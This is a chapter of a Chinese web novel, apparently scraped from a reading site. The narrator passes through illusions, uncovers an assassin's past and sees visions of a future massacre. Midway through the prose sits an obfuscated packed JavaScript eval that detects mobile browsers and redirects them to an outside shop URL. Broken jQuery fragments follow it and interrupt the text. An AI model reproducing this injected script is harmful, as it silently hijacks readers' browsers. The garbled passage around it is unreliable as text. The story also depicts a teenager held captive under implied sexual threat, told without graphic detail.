45.幻境迷踪

作品:《不就是稍微努力攻略一下吗?

    我在房间中看见月亮。


    它不是完全的房间,有三面墙壁,没有天花板。


    月亮挂在天上。


    是相当寂寥的空间。


    我找到说去走走的汝凤凰时,她就在这里。


    这个只有三面墙的房间富丽堂皇,墙上装点明亮玻璃窗,机械钟表,许多名家字画,桌上有酒,用来盛酒的瓷器精美绝伦。


    汝凤凰没有任何神情,也许她微笑,也许她没有。她围着餐巾坐在桌前。


    让人无法读出喜怒哀乐。


    仿佛没有情绪的人偶。


    “怎么还不开饭。”这也不是在问我。


    她是在自己和自己说。


    “不是要吃饭吗?我一天只有这些空闲时间。要按时做事,否则一切安排都要延误。”


    头顶月光照着她,光影出现在房间中摆设之上,精美瓷器反射光点,玻璃窗上一片幽幽的蓝。


    这些光点不动,落在地面上,桌上,墙壁上。


    还有汝凤凰身上,


    她在盛开的斑点中。


    她凝聚着很多颜色。


    她的衣服,晃到我的眼睛。被刺痛,猛然惊醒。


    “我想你吃过饭了。大小姐。”


    我在投射月光的窗前,在水槽边洗碗。


    时钟刻着无法理解的符号。指针走动,月光在我手中,我遮住了光,房间里变暗,汝凤凰不再反光,时钟上的符号被遮住光后,边缘呈现出一种金属朦胧光晕。


    “呵。那我工作好了。”


    汝凤凰歪坐在椅子上,一脚抬起搭到桌面,踢翻酒瓶,桌面狼藉。


    另一只脚摇晃着椅子。椅子要倒不倒,她摇晃。她四周的画,墙壁,也跟着摇晃。


    她歪歪扭扭写贺卡。


    酒是礼品,当然要有贺卡。


    用来恭贺的字也要很漂亮才行。


    “我心情好才会写呢。其实老板觉得我字写得好才满意我做代理人,有这个原因在里面。也可能是因为我没有家人,没有牵挂是好事。”


    “如果你是指血缘关系的家人。我也没有。”


    “不一样,我生来就没有,应该说我是突然存在的。连我自己也想,为什么这一生顺风顺水呢。我已经感到无趣了。我不在乎到底有没有,如果有,会有趣一点吧。”


    我惊讶地发现一件事。


    这个房间,其实有另一面。


    另一面,对面那个房间,汝凤凰躺在床上睡着了。


    我面前的她。


    ……大概是在梦游。


    此刻房间里都是视线。


    到处是,哪里都有眼睛。


    一只一只。


    盯着我。


    是汝凤凰的眼睛。


    “……这种东西对我攻击没那么强。”我摇摇头,“聚集在一个小圆球上会有点吓人,分散在四面墙壁上不是不能接受。你吓不到我。还是快醒过来吧。把我困在你的梦中,我怎么和你说话?就算你真的对我感兴趣,我们也得从现实层面是共处一个世界的人才行。还有,我真的是女孩子,你把地面上的眼睛收回去。我绑裤腿了,你看不见里面。”


    “哈哈哈哈哈!”汝凤凰大笑,“好吧,听你的。我在家中等你。”


    景象消散,天地重新归于空白。


    汝凤凰也从这个地方离开。


    【呼……】系统反倒叹口气。


    「怎么?你也怕她?」


    【不是。是关于她的家人……汝凤凰她……她身上有很复杂的因果,本身是虚无缥缈的存在,无法解释清楚,就好像是作者出于什么原因没有写出来,只是有这么个想法,应该有这样一个角色存在。所以原作中的汝凤凰是个没有过去的人,她好像凭空出现在汝家,成为代理人。她凭空出现在这个世界上。又因为她天生幸运,世界判断她这辈子没有家人会更幸福,所以——她不可抗力没有家人。世间所有选择在她身上都会出现……更好的选择。我总感觉,说不定作者都不知道为什么会有这个角色诞生。】


    我有个大胆的推测。


    「也许,是因为真正的世界中就是有汝凤凰这个人存在。作者观测到了这个世界,于是角色凭空登场。一个角色登场……有什么原因呢。作者可以随便解释。说一句,‘我喜欢。’就够了。」


    292这次没生气,认真说:


    【你的话我仔细想过,老实说,也许主脑都没想到这样一本书竟然能衍生出小世界,在这里,汝凤凰将成为比原作更不可捉摸的存在,小心些总是好的。原本女主帮助被当做工具的未婚夫逃出女二魔掌,再加上可以搞养成,是很有看点的剧情,但上一世剧情就歪了……汝凤凰高低是有点颜控在身上,没等到遇见云间月,遇见你就……】


    「所以才说她遇见谁都行。她根本不是喜欢我,是为了找消遣。而且她似乎认定了要与一个人在一起很久……这是我的盲区。怎么看都是找很多个人更好,她不需要为钱烦恼,完全可以像永灵那样把剩下的男配收入囊中。」


    【嗯……嗯。宿主啊。】系统怎么还语重心长起来了。


    「客套什么?」


    【在人类社会,滥情是病。心理疾病。按照各种性别平等的社会来看,宿主世界的男人一大半是有病的。他们见一个爱一个。如果人人都这样也公平,但他们对女人就是很刻薄。我不喜欢找这里的男人当宿主。】


    「……啊?」


    292什么时候这么会表达自我了。


    这个世界确实不公平,可是……它很多年,一直如此。


    我又能……改变什么呢。


    我连自己家人的命都还没握在手里,怎么去救更多人?扶疏说得对。


    「我要先顾好我自己。」


    但如果可能的话……


    【可能的话?】


    「嗯嗯,没什么。」


    我并没有继续想下去。


    我该……前进了。


    被叫做来去中途的地方。还有一个人,那个刺客。


    我要悄悄潜入她身边,从她生成的幻象中得到她身份信息。


    其实我从时间循环中见到过她身上发生很不好的事,她被人关起来,每天都有男人进去她的房间,最后……那个房间中,还有孩子出现。


    所以我知道刺客身边可能会出现什么幻象,我有心理准备。


    昏暗房间。


    昏暗的。没有光。


    她被绑住,这个她,是年轻十几岁的她。


    还只是个孩子,脸上尚带稚气,并没有现在成为刺客时这种无所谓。


    她蜷缩着。


    门打开缝隙,外面走廊上灯光明亮。一道光落在她脚下,她不敢置信地看过去,看见男人身影,快速进来,把门关上。


    那抹光。消失了。


    她到底不能算真的小孩子,对于还有二三年就要成家的孩子,她们也知道一些事,比如孩子是怎么来的。


    至少她们知道不能和男人单独共处一室。


    所以,她此刻只是不可置信自己为什么会出现在这还要被这么对待,而不是不清楚接下来会发生什么。


    我脸色越来越差。我……我思绪杂乱。


    我说过我无力改变我说过我不在乎这些,可是我却要为了搞清楚刺客是谁,而在这里,让她再一次面对这份过去……我……


    一直都是个卑鄙小人。


    但我不会让这件事算了。所有和汝凤凰相关的事也很奇怪,我不能确定这些事和玉燃兮的未来完全无关。我恐惧它会带来连锁反应。


    那么,我会注视下去。


    记忆再现。我注视。


    “你叫什么?”男人问她。


    “我姓严。没名字。”


    “户籍?”


    “七十六城。”


    ……?!!!


    「她是严恩!」不对,如果她是慕柚桃室友严恩,那在七十六城严家地下室的遗体,又是谁?


    那一家三口还是亲缘关系……


    接下来,原本做好会看见什么的我,被眼前一幕震惊。


    就暂定刺客真是严恩好了,要不没有这么巧合的事。


    十几岁的严恩召唤了某个鬼仙。


    是的。就在被□□前。我不是为严恩能召唤出鬼仙震惊,而是为……她惊人的求生欲,为了……世界化为真实后的严谨合理性。


    世界它有自己的意志,每个角色都在努力寻求生存。于是严恩召唤鬼仙。严恩想活下去,这才合理。


    “她不想被强迫,她就是会反抗。”我喃喃自语。


    模糊轮廓在严恩面前,满足她的要求,为她施展法术迷惑男人。严恩躲过一劫。她甚至有闲心在男人疯癫无状时和鬼仙聊聊天,这心理素质,不愧是能想到召唤鬼仙的人。


    等会……既然严恩是这种性格,她肯定不会是那种无脑刺杀汝凤凰的人。


    呃……严恩,好像和鬼仙看对眼了。虽然还在被囚禁。


    严恩的被囚禁别有目的。她可以让鬼仙带她离开,但她没有。


    那个叫十梭的男人经常来这个房间,每次严恩只是看着,没什么表情。她和鬼仙越来越陷入热恋。


    一人一鬼如胶似漆,没过多久,鬼仙抱来一个大号襁褓。


    我:“……”


    我有没有说过,鬼是如何繁衍后代?


    鬼没有身体,无法受到欲望支配。


    鬼是靠自己繁殖。在各种条件满足的情况下,和世界完成契约,会分裂出一个样貌性别和自己差不多的孩子。


    鬼仙为严恩生了小孩。


    就是,因为遇见了爱人,所以想要孩子,这种思绪太强烈,孩子才会诞生,某种程度上也算两人爱情结晶。


    原来三危是这个鬼仙的孩子。


    我还以为……


    看来我想得不对,这个看不清楚身形的鬼仙,是个男鬼。


    这时从两人相遇也没过多久。本来挺好,十梭一直没发现房间里鬼仙抱着婴儿襁褓。这婴儿……从襁褓体积上看好像有点大,很健壮,说不定是半人半鬼和人族婴儿不太一样?


    这两人吵架了。


    大吵一架。


    好像是很天理难容的事,我越听嘴巴越往下撇。


    高兴不起来。


    ……严恩发现鬼仙好像和她家有仇,她被十梭的人抓住就是因为这个鬼仙从中作梗。


    然后一人一鬼之间这么有缘,她再次把同一个鬼仙给召唤出来。


    严恩无法接受这件事。她才十几岁,莫名其妙有了孩子,还遇见这些事。鬼仙和她大吵一架,把孩子的襁褓留下,跑了。


    严恩告诉十梭她有了她们的孩子,她本就是医修,做出自己有孕的假象,十梭根本没怀疑,甚至这之后挺久没来。


    再然后严恩假装孩子出生,把孩子丢给十梭。十梭对孩子的出色治疗天赋非常满意,当场取名为三危,也更加信任严恩,问严恩想不想出去走走,做些事。


    严恩说,她觉得这里很好,为了门派前途。她要找其它门派卧底,作为治疗天赋修士混进去。这时她身形还是有些臃肿,她对这些知识很是了解,知道女子生育后身体不会即刻复原。


    十梭似乎对这份心气有所动容,又看见严恩生下孩子没有闹事,觉得严恩已经彻底把门派当做自己家,就给她找了个大门派,让她混进去做医修。


    去希行门做学徒时,严恩已经身材苗条,恢复好了。


    奇怪……这么看下来,严恩好像没有做刺客的理由。


    我倒是知道了慈悲堂的掌门十梭,和他亲生儿子兼圣男三危之间不可言说的关系。


    那就是。


    毫无关系。


    三危?!他不是女孩子。


    对哦……他半人半鬼的,估计是在准备什么祭祀活动,用上古符文也很常见,一不小心进来这里。


    我……刚教了他召唤逝去亲人的召唤术。


    “……”


    巧不巧,他能把蹲守在严恩身边,在汝凤凰家里闹鬼的鬼仙给召唤走。闹鬼这件事就解决了。不知道这个鬼仙是不是传闻中的鬼仙?


    “你还要装作是记忆中的人多久,严恩?”我问她。


    在学徒宿舍中两耳不闻窗外事的严恩双手托起下巴看我:


    “闹鬼不是我做的。我有个情人……是鬼。我被关起来。她感应不到我。在着急吧。”


    “你为什么刺杀汝凤凰?”


    严恩只是摇头:“这个我不能说。能说的是,十梭发现我失去踪迹必定很着急,会派很多人手,很多杀手来追杀我灭口,如果院子里有鬼,难免引人耳目。”


    “没事,我教给三危召唤术,他跃跃欲试。鬼仙是他的亲人,恐怕已经被召唤走了。”


    “好。那再没事。”


    严恩变成那副满不在乎的样子。她在她的宿舍里,在这个朴素得只有笔墨纸砚的小房间,慢慢作画。


    她在画小人。画长命锁,这回看着是新款,还一边哼着歌。


    【她心神不宁。宿主打算动手?】


    「不,我在想,既然她画得是新款,是不是说明之前画得旧的那个——已经送出去了。可她一直画的都是女款,三危是圣男,手上也没戴东西,应该不是给他。」


    “与其忙着和脑袋里的东西说话,不如和我谈谈。”


    “……”我表面波澜不惊,“你要谈什么。”


    “怎样能让汝凤凰放我出去。”


    “就算不告诉她你是慈悲堂的人,她也会自己查出来,所以……不如告诉她你的真实身份,是不是,严时的姑姑?”


    “你怎么知道?!”


    我当然没证据,只是诈她一下。


    “或者你帮帮严时呢。”我说。既然云间月不出现,如果有人能帮他也是好的。


    严恩有点愧疚:“我也是见面才知道。上次在展览会看见严时那孩子……不,一看见他,我立刻意识到他必定是我亲族,他和我有相同的体质。”


    “所以没准你用帮严时分担身上的结界为由,汝凤凰能放弃研究你。她未必有你想得这么在乎一个刺客。”


    我觉得汝凤凰很可能是逗严恩玩,她太无聊了,然后严时不知怎的又是个小孩子,她不会带小孩,严时很特殊,给别人带她又不放心,严时是她的工具,也是她的累赘。


    严恩站起来。


    她,接受了我的建议。


    “是个好办法!”


    我:“你怎么知道我脑袋里有东西?”系统这会都噤声了,它觉得严恩邪门。


    “我体质特殊,对这些东西天生直觉。而且我的伴侣说过。这世界有很多奇奇怪怪东西,鬼界那叫一个热闹,天天有人搞事,界门破洞往下掉东西进来。鬼王分身乏术没办法补破洞,手下干部不服他,今天这个造反明天那个造反。鬼王姐姐湛仄不知忙什么去了,也不来管管,于是所有东西凑在一起热闹得很,鬼修更是沉迷研究功法,反正不会再死一次,个个走极端路子。既然这么乱,有怪东西不奇怪。”


    严恩打算离开。


    场景逐渐消散,我叫住她,“等等,关于慕柚桃的事……!”


    严恩停下来,回头看我,脸上有微妙的戏谑:“离她远点。我不知道该说什么,你最好离她远点。”


    “为什么这么说?”小桃师姐不像是会吃人的样子。


    “这么告诉你吧,一个多月前,我的室友说不想念了打算退学,让我重新找室友。一转眼,她突然不退学了,而且……我说不出哪里不对但就是有不对劲的地方。她从前学业没这么好,不然也不会这么多年考不进内门,我想说不定是突然开窍了,这种事也有,与之相对的,她对学业非常积极起来。”


    这不就是不上进的学生突然开窍好好学习了吗!


    我忽然一阵无力,对严恩摆摆手:“汝凤凰刚出去了,你现在出去正好来得及找她……”


    严恩抬腿就走。


    「慕柚桃很可能是白娘娘……她之前可能是在门派中懒散混日子,因为云间月登场,故事发生,她也开始行动……她变得积极起来……」


    咦?


    现在……这里……还有人……


    我在云雾中。云雾缭绕,我的确看见这样的景象。我被什么东西击打后脑勺,只能看天空。


    回过神来,我在城主府。


    “灵佑,怎么了?”小姐在我身后。


    我们在庭院中喝茶。


    冬日初雪降临。


    “没什么。”我看着满院的雪,“第一次用这样的料子做衣服,小姐可还习惯?”


    玉燃兮穿着时下流行的宫装,其实……宫装材质没有玉府平时用的好。但规矩就是规……矩。欸?


    “我已经成年,要去宫中见见各位皇室成员们,相看婚约人选……从今年开始。”玉燃兮,她本该说出这句话。我知道。


    因为这是去年发生的……欸?


    我再一看。小姐身上穿的,又不是了。


    她还是平常的她,坐在对面和我一起喝茶。


    “灵佑,怎么了?”


    “嗯。没什么。小姐,我们看雪吧。”


    玉燃兮握住我的手,“好冰,灵佑这是怎么了,快和我进屋暖暖。”


    她不由分说拉起我,我们走进熟悉的房间,看见熟悉的陈设——


    “小姐?”


    我面前的她,一身红色嫁衣。


    房中不知何时布置成婚房模样。


    大红喜字高挂,红烛静静燃烧。


    “小姐!”我冲上去抱住她。


    “灵佑,别哭了,今天是大喜的日子,我知道你很不舍,我也……不舍你们……我……我要和程追原——”


    我面前的玉燃兮,在说出这个名字后,闪烁一瞬。


    然后错位恢复正常——“和十五殿下成婚。你要高高兴兴的,扶着我的手才行。”


    “……”我错愕到失语。


    我。我说不出话来了。


    不是这样。不是这样。念头在告诉我,不是这样。


    不是。不是。


    “不是……”


    我抱住脑袋否定一切。


    不存在的记忆猛然吞噬我。我看见……玉燃兮的尸体。


    她——不是,那是云间月。


    是云间月和会清露。


    大概是夜晚吧。


    会清露在云间月身后的阴霾里,看不清脸。我知道那就是她。


    她说:“我……回来了。我报了仇。一个不剩。包括它的姻亲,包括……刚出生的婴儿。”


    云间月让开一点,似乎是想让光照到会清露脸上,想看清她,就在这一刹那,电光火石间,会清露脸上落了光,她的脸——“不要看我!”


    满是血迹。她身上……


    “不要看我……求你了。”会清露尖叫,向后退,重新退到云间月的影子里,佝偻着身体蜷缩进没有光照耀的地方。


    她……一身血迹。仿佛炼狱深处的恶鬼,剑上,发丝上,鞋子,还有身后的脚印,都是血。


    新干的血。未干的血。


    红彤彤一片。在光芒从她脸上消失后,随她一起隐匿进黑暗。她身上再没有光,是黑色的。


    “你这样不行。”云间月不问为什么,很快地说,“门派之外的我们不管,门派内的要清理干净。你告诉我是哪,我来。”


    被阴影吞噬的会清露伸出一根手指,颤抖着,指向她来时血路。


    云间月沿着路追出去,跑着,踩到东西。


    给她狠狠绊了一下。她踉跄,又困惑,捡起一条有小盒子的项链。


    那个小盒子在月光下——“不!不!不!不!不对!”我上蹿下跳,我用力挥舞双臂仿佛这样就能打散这些噩梦。


    我惊魂未定,呼吸粗重,哽咽得说不出一个字。


    怎么会这样?!


    不要。不要。我不要看。


    我不要看。


    我闭紧双眼否定一切。


    长发身影在我面前。


    在我身侧。


    她很高。


    看不清长相。


    我的视角很奇怪。好像……我在什么东西上。而不是一个人,看东西也很奇怪,接收声音比画面要敏锐得多。


    “你——你要做什么?!你清醒点!”


    这声音我很熟悉,是云间月。


    “要做什么?”长发人语气不屑且挑衅,“当然是杀了你,云间月,我很久前就想这么做。”


    “你——”云间不可置信,迟疑,比她更快的是一柄剑。


    “不行。”白发美少女用剑切开云间月胸口,“她是我的。要由我来杀她。”


    长发人耸耸肩,“随你。我要血洗这神界,你杀你的。”


    飘渺云端被黑雾包裹,血,雾气。


    血……断肢……吼叫着的怪物……


    最后,长发人遗憾地对身边那个瘦巴巴的女孩子说:“啊。真安静呢。你看现在,就剩我们两个了。”


    瘦巴巴的女孩子——会清露声音沙哑。只有一个字。


    “是。”


    她怎么这么瘦?!之前就轻得像一阵烟,现在简直是皮包骨!


    而且……她话好少。说话时……也不看人了。


    “唉……”


    长发人有些寂寞,又好像是无聊。


    不远处有个身体插满剑的怪物,血糊糊艰难挪动。


    当它停止活动,白发的女孩子也——死去。


    整个世界颠倒过来,天空是地面。长发人张开双臂跃入天空怀抱。


    实际上,她向无尽深渊坠落,张开双臂拥抱天空。


    “就这样吧。”


    会清露在云端俯视坠落的一切。视角越来越远,会清露的脸越来越模糊。


    她……


    怨恨,恶念,魔气缠身。


    可是,入魔突然终止。


    她停下来,也说:


    “就这样。”


    她消散了。一个活生生的人,就在眼皮底下,变成一堆灰烬。


    什么人打了我呢。我想。


    其实答案就在这。


    这个地方,名叫来去中途。


    那个世界的会清露……呐,听我说,你的世界,是不是有那种说法,在二次元中所有角色共同生活着。就是在屏幕背后的虚构角色们,生活在屏幕中。人们甚至会设想它们的世界共通。


    我就是这个意思。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903065|186020||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来去中途相当于屏幕上的空白点阵图,把它类比成二次元世界,然后来自其它世界的角色们……会跨越世界聚集在这个地方。


    因为是思绪一样的存在。


    不是总说思念能够跨越千山万水吗。


    就是这种很玄乎的东西。


    我被“会清露”给打了。


    我……是不希望玉燃兮嫁人的。哪怕我再口口声声说为她着想,我也一点都不希望她嫁人。


    我……也不在乎我娘有多坏。哪怕她杀了全世界很多人,她也还是我娘啊。


    我就只是希望,时间永不前进……我永远是我。我还是我人生的主角,我不知道什么系统,不知道什么未来,一切也,没有未来。


    仅此而已。


    “只是……仅此而已……这一定是假的记忆。是幻觉。”


    好像否定就能让我当做什么都没看见。


    系统偏偏要来拆我的台:


    【宿主看见的记忆,有一部分是真实的,云间月后来记忆中印象深刻的是,会清露本人在杀死某些人后变得越来越沉默,几乎不再说话。】


    「……因为她用光了所有勇气。更具体一点……像是什么呢。活下去的动力,对生活的热爱?她没有对人世的牵挂,但是……又在注视着什么,因此而活下去。只不过她注视的那个人不会回馈给她爱。她在角落中生长,直到……走向她的结局。」


    这太糟糕了。


    看一个鲜活的生命在未来转瞬即逝。


    如果一个人死去,当死亡只是数字,没有人会觉得惋惜,但一旦意识到数字背后是一个人,那么看一个人走向末路是完全不同的体验。


    如果我能阻止。


    如果一切还能挽回。


    如果……我能做得更好……


    “嗳,醒醒。”什么东西掐我的脸。


    迷迷糊糊,汝凤凰出现在眼前。


    “你做得真好。”她嘲讽我,“要睡出去睡。”


    “……我就是想看看自己最害怕的噩梦是什么。所以才想让这只有我一个人。”


    我故作镇定从地上起来。现在我知道了。


    这波不亏。它没吓到我。


    不对。汝凤凰她不是出去了吗?我看着她出去的!


    汝凤凰叉腰:“我不信那套。我不信世界上所有的幸运和不幸。我只信我自己。没有想做的事,自然无法离开这里。你知道我是怎么当上管理人的吗?”


    我摇头。她不说我上哪知道。


    “我不告诉你。”她不知怎的还得意起来了。


    “……走吧。”我不准备理会她。


    “不行,你不能走。你现在不稳定,你这样出去会走背运。”


    “可是我有必须出去的理由!我和你不一样!”


    我终于被她激怒。


    汝凤凰一把扯住我,对我大吼:“有多少人一生能够实现梦想。实现了之后呢?你永远会遇到新的挫折,总有一天你会倒下。你不可能仅凭借一人战胜所有。你需要帮助!否则你会像我一样一事无成!”


    我……我很震撼。


    因为我知道汝凤凰是一个很好运的人,我……惊讶她口中怎么能说出这么荒唐的话,她才是这个世界上最不该说自己没能实现梦想的人吧!她拥有全人界的财富啊……


    “如果这个世界还有金钱解决不了的问题,”我用刻不容缓的严肃口吻说:“只能说这个问题真的难以解决。但你可以告诉我你的烦恼。”这样我们就能一起离开这。


    我还有很多事要去解决。


    汝凤凰有些悲伤。她用一种既像为自己难过,又像是自嘲的悲伤腔调:


    “我不知道。我一这生为什么而活着。所有轻易难以得到的东西对我来说如同浮云。好像我是为了够到天边的月亮才诞生,但……我的月亮,在哪里?”


    我脱口而出:“你的月亮不想见你。”同时心想,云间月要是想再被缠上,早就出现来救严时了,现在她是全不要,乐得一身轻松。


    汝凤凰显然听不懂我这没头没尾的话,我不能对她说,你原本应该会遇见叫云间月的人。会喜欢上她。姑且算是喜欢……然后找到活下去的理由。


    汝凤凰的存在飘渺不定起来,我——


    我真是疾病乱投医,我我我——


    我急中生智,发挥我这一年多以来的看家本领,抬手给汝凤凰就是一巴掌!


    没什么是一巴掌解决不了的!


    这里要让人成魔,肯定会蛊惑心智,在这里无时无刻不承受被恶念侵蚀的风险。


    汝凤凰被我打得人间清醒。她看我的眼神有种莫名热烈,


    我淡淡收回手。


    故作仙风道骨,把我打得生疼的巴掌藏在身后。


    “跟我出去。”这地方不能再待了。我态度强硬拉着汝凤凰往外面闯。


    用破釜沉舟撞破头的野心——


    最后的最后,这个地方不甘心地挽留。


    我……


    它让我看见大片崩落的碎石。我……我娘被压在下面——“那才不是真的!”我大声斥责,愤然离去。


    睁眼。凛冽的风,还有热浪扑面而来。


    再没有杯盘碰撞声,院中乱闯的鬼仙……看来被三危召唤走了。


    严恩从哪搞了个小火炉,正给炭火扇风,热气扑到我和汝凤凰身上,汝凤凰那衣服,她衣带子都着了!


    这人果然是在报复吧!


    我连拖带拽扑灭汝凤凰身上的火苗,目光扫到院子。


    正在下雪。


    积雪已在院中堆起薄薄一层,冷风随着雪割人的脸。


    怪不得要点火炉,天都亮了,冰天雪地失去意识躺半宿,修士也得冻成冰棍。


    是初雪呢……八十四城和修仙者地界很近,门派那边只会下更大的雪。


    今年的第一场雪……我没能陪着玉燃兮和娘。以后不知还有多少一起看雪的机会,这很重要,我错过了……


    等会等会!这不才刚到清晨,现在赶回去完全来得及!


    我猛烈摇晃汝凤凰,快醒,快醒!我要回家!


    汝凤凰幽幽转醒:“我好像……做了许多梦,然后一睁眼,你在我面前。”


    这一刻我用上所有能做出的慈祥和语重心长:“反正所有故事最后都会结束。既然怎样都无法挽留,不如好好铭记于心,然后继续前行。不管遇见怎样的挫折,我都会前进下去。”


    “……”汝凤凰看我眼神有点不对劲。


    严恩找她说结界的事,两人交谈神速。


    严恩说她有要事,再不离开就晚了,最后以留下真实身份作为把柄,答应汝凤凰等事情了结她会主动回来帮助严时分担身上的结界,汝凤凰点头应允。


    严恩在我之前匆匆离去。


    看我对这件事始终有疑惑,汝凤凰解释:


    “可听过以人连接结界?人的意志是世界上最难以攻破的东西。用人作媒介,结界牢不可破。当然,得是合适的人才行,人界芸芸众生全算上也挑不出几个来。刚巧我又找到一个,这在任何人来看都是幸运的事。”


    人做结界……不用问也知道是禁术。


    系统惊讶:【她变得稳定了!】


    不重要的事先放一边,我实在是没空管她稳不稳定,“我要回去,告辞。”


    “这就是你说的前进?撇下同伴回去上学?等等!”汝凤凰塞给我金光灿灿的好东西,“飞舟,能挡雪,你把我救出那鬼地方有功,送……借你了!记得回来还我!”


    那种面对云间月常有的后背毛毛感觉突然出现,我无暇仔细揣摩,不管三七二十一,驾驶着飞舟向门派极速冲刺——


    那时我想说的话——


    但如果可能。


    如果世界允许我改变。如果我有改变它的力量。


    没有人能拒绝这份力量。


    我知道我变得贪心起来了。


    ·


    仙气缭绕。


    岛屿上。


    三危面前有一团模糊的影子。


    “母亲!”他跪着,抹眼泪。“带我走吧……你都死了,爹只会打我。”


    黑影飘忽不定的边缘凝固,怀疑重复:“……你爹?!”


    三危点头:“爹天天打我。他囚禁很多女子,我最近多了个妹妹,就在那睡着。”


    墙角摆着一张婴儿小床。


    “不孝儿!什么你爹!认贼作父的好儿子,我早就……”黑影一开始很生气,气得身体凝聚成实体,但她显得很有经验,生怕大声说话吵醒婴儿,只现出形态就闭了嘴。


    身着长衫,充满书卷气的女子漂浮在空中。


    她脸上有片雀斑,显得她年轻,原本和长衫不太搭,但身上气质很好弥补了这一点。


    只是长衫再长……按照身体比例,衣服下也该有脚露出来。


    她衣服下面……空空荡荡。


    三危被骂也毫无反应,期待地看着她。


    忽然想到自己其实没尽到几天做母亲的义务,女子气消了,


    “是啊,我早就……已经死了。这样可不行,哪有母亲杀死孩子的,你不想活,是因为你那个烂爹对你不好,那你为什么不逃出去?等你死后,我们总会重聚,不该急于一时。”


    “可是……他会派人抓我。”三危皱着眉。


    “你让他没办法抓你不就好了。你掀翻这里。啊……这里味道一如既往糟糕。这样吧,我告诉你召唤条件,你召唤我族人的后代来帮你。她是初出茅庐的鬼仙,让这里覆灭,这件事功德无量,你是我的孩子,算是她祖宗,她会帮你的。不过她总归是你的亲族,要用平等的契约来召唤她。不可以奴役她,你可同意?”


    黑雾流动到纸上,化作字迹。


    写完,女子递给三危那张纸。


    三危并未反驳,接过纸,忽然问:“母亲,我还不知道你名讳?孩儿要设灵位供奉……”“你年纪小,事还挺多。怪了,我好像没有这么啰嗦的性格,亲爱的老婆也……”


    一块灵牌从空中落下,正好落到三危怀里。


    “这是我特制的灵牌,外观是普通的牌子,只有亲族才能看见姓名,想供就供着吧,别再说死不死的了,我费尽千辛万苦生下你,十梭他不是个东西……你是人,不是鬼,我不能把你留在鬼界,只能让你被养在这,是我对不住你。”


    女子叹着气,面露痛苦,一看就是想到很不好的事。


    三危立刻明白她是想到了自己的死。“不是的!都是爹的错,一定是他打死了你……我……我要为我们报仇!”


    “孩子。”鬼仙抬手摸了摸三危脑袋,“虽然没办法从小扶养你,但我也是你的母亲,不希望你这么小就来陪我,等一切尘埃落定,我们一定会重逢,我们一家人,你那个妹妹也算上……”


    “好……”三危抱着灵牌抹眼泪,“母亲,你快回去吧,被强行召唤到它界对鬼仙来说损伤魂魄,剩下的事我会自己安排,不会辜负你的期望。”


    “死后再见,我的孩子……”鬼仙似乎笑了一下,叹息着身影完全消失。


    三危斗志满满,把灵牌挂在窗前,牌子像个小风铃,他能看见上面写着——


    姚不换。